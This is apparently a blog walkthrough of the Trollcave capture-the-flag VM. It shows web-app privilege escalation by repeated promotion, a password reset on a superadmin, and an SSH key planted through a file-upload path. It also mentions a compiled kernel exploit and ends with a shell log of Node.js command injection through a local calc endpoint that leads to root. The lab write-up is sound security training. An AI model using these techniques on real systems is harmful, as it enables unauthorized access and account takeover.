Innogen security


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Trollcave 1:2 Walkthrough Part 3

As we found in part 2 we are now able to promote users to moderator and knowing the integer values equal the user privilege level:

  1. regular member
  2. member
  3. moderator
  4. admin
  5. super admin

Based on this a test of the promotion methods is required to detect if there is a flaw in how the user is promoted and if it can be incremented until we are admin or superadmin?

Based on the user list user Kev is chosen for the test so the following is carried out:

  1. Reset user kev password.
  2. from user xer promote kev to moderator.
  3. pressed back in the browser and selected the “mod” button again for user kev and hey presto kev is now an admin
  4. we login as kev with admin permissions:


The King is Dead:

As admin we find a post stating the “The King is Dead, Long live the King”


From the post by dragon we can see user king is taking a break and dragon now has superadmin powers, so the escalation path is to gain dragon’s credentials, steal cookies or find information in dragon’s control panel that will assist escalation.

NOTE: Quite some time was spent trying cookie stealing via pm and comment posts directly to user dragon to now avail so now to find a new path.


Dragon Demotion & superadmin pass found:

Looking around the admin panel further I had overlooked an admin function in the users panel called “unmod”, a train of thought based on this and other failed attempts directly at dragon is as follows:

  1. demote dragon to a member
  2. reset dragon password
  3. check dragons posts, inbox for information?

To check this I first run through the above against user Q who currently a moderator and this works as expected and I then test the 3 steps above against dragon with success.

Dragon Password Reset

Dragon Inbox

Superadmin Password


Facepalm Moment:

After spending a huge amount of time exploring the upload feature once it was enabled but not really getting very far, albeit by giving a file alias we are able to upload to other file locations on the disk although I was unable to use this at the moment.

Then taking a step back and checking users posts as I forgot about post levels there was this by coderguy:

Here there is a complaint that the rails users is used to interact with the OS? So potentially we could use this for RCE or other vulnerability?

And there it was the lightbulb moment! Rails has a user account and can interact with the os, via the upload feature we are able to change the upload location by adjusting the “alternate file name” feature! so the test is if rails is a valid user account its possible it has a home directory? so we can potentially upload our public ssh key to authorized_keys and test access?

SSH Access:

The theory of uploading our public key seemed to pay off and we are able to gain ssh access, which is much better than a reverse shell.


Testing the ssh access gives us a valid shell:



Based on running uname -a and a check against exploit db we find the kernel has a known vulnerability:

I take a copy of the code and build this on my ubuntu machine then move the output binary to my attacking machine:

  • Compiled the exploit on an ubuntu machine:
  • SCP to Trollcave
  • Execute: Root and capture flag:


Way to Root 2:

Once I got root I decided to look at the calc script that was seen in the king directory while looking around post exploit; it seems the calc script is a node js script that can be used to escalate to root also.
Rather than run through this in detail I have pasted the shell output and screen shot to keep this long blog from going into another page:

the following link which helped secure root:

From here we can leverage the calc js script and execute arbitrary commands as the king user, in order to escalate I merely changed the king user password:


rails@trollcave:/tmp$ pwd
rails@trollcave:/tmp$ cat 
echo "king:password"|sudo /usr/sbin/chpasswd >/tmp/tt.txt
rails@trollcave:/tmp$ curl "localhost:8888/calc?sum=require('child_process').exec('/tmp/')"
[object Object]rails@trollcave:/tmp$ 
rails@trollcave:/tmp$ cat tt.txt 
rails@trollcave:/tmp$ su king
king@trollcave:/tmp$ id
uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),117(lpadmin),118(sambashare)
king@trollcave:/tmp$ sudo su
root@trollcave:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@trollcave:/tmp# whoami
root@trollcave:/tmp# cd /r
root/ run/  
root@trollcave:/tmp# cd /root/
root@trollcave:~# ls
root@trollcave:~# cat flag.txt 
et tu, dragon?



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